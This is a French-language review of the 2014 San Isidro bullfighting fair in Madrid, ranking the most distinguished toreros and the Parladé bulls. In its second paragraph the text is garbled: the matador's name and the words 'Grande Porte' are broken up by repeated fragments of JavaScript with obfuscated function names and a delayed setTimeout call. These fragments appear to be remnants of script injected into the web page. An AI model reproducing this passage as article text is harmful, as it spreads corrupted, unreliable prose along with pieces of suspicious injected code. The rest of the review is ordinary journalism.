MADRID JUSQU’AU 18 MAI : PALMARES DES PLUS DISTINGUES

Neuf corridas à pied se sont déroulées pendant la San Isidro 2014 alors que j’écris ces lignes, et presque toujours il y a eu des événements à signaler; cependant, je ne mettrai au rayon des plus distingués que ceux qui ont brillé –lumière de l’avenir et de l’espérance- méritant par leur determination et hardiesse ce que l’aficionado résume en une phrase cliché: “C’est comme ça qu’on vient à Madrid”.

Comme Iván Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño qui  brisa par sa gestuelle et son geste, sa tauromachie et son cran, les verrous de la Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande Porte de Madrid, lui important peu qu’il s’agissait d’un mardi 13. Avec Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño, il est prouvé une nouvelle fois que lorsqu’un torero est vraiment prêt à sortir par l’une des deux portes : celle du triomphe et celle de la douleur, difficilement il n’atteint pas son objectif. L’année dernière ce fut celle du sang et cette année il a traversé la Porte de Madrid épaulé par la gloire.

Un moment de Maturité et d’engagement –alliage parfait pour que les triomphes se produisent- comme celui de Joselito Adame, damnifié par l’incompréhensible myopie présidentielle, malheureusement si habituelle à Las Ventas, après sa remarquable faena devant le vieux trolleybus de Torrealta qui sortit en remplacement pour la corrida de La Palmosilla.

Contrairement à l’Adame volontaire, filou et accéléré de Séville, celui de Madrid déploya de la fermeté, du temple et du calme. Le comble, il fit frémir les gradins collé au toro en final avant de ratifier sa prestation avec une estocade qui méritait à elle seule un trophée; mais le néophite M. Polo manqua de sagesse et mériterait d’aller présider dans des arènes mineures avant de revenir à Madrid, chose qui ne risque pas d’arriver.

A propos d’ “arrimon”, signalons aussi celui de Sebastián Ritter devant le toro astifino de Gerardo Ortega. Il est impossible de toréer  de plus près.

Juan del Alamo a mérité à nouveau figurer dans ce palmarès des triomphateurs. Quatrième oreille pour quatre prestations à Madrid. Mais maintenant –on remarque bien qu’il a toréé régulièrement pendant cet hiver – avec un bagage technique qu’il met à la dispostion de son courage. Il a triomphé de nouveau par sa caste et sa sagesse et surtout parce qu’il est capable de laisser la muleta devant le museau des toros pour qu’ils répètent leurs charges. J’ai très envie de le revoir.

Fraîcheur, désinvolture, joie de vivre et de rêver, fragance du soleil au printemps, que la prestation encourageante de Román. Novillero au fil de l’alternative, qui vint à San Isidro prêt à se hisser au-dessus du destin –du vent et des toros- tout comme il le fit. Il sortit du combat imprégné par le sang du toro, les crinières du vent, une fulgurance de triomphe dans ses yeux et la reconnaissance des aficionados et des professsionnels. Tant qu’il y aura des garçons qui envisageront la tauromachie avec l’aficion et l’entrain de Román, la Fiesta Brava continuera à aller de l’avant malgré tous les croche-pieds qu’on puisse lui faire.

Pour clôturer ce palmarès il me reste la corrida de Parladé. Difficilement on reverra à Madrid une corrida aussi encastée, noble et proprice pour que le toreo soit la fête de l’émotion. Avec toutes les nuances que l’on veut, six toros sur six. Incontestable triomphe de l’élevage, malgré les tentatives de faire échouer la course avec en tête l’ “inteligente” confrérie du “racisme toriste”, détracteurs inconditionnels de l’encaste Domecq.

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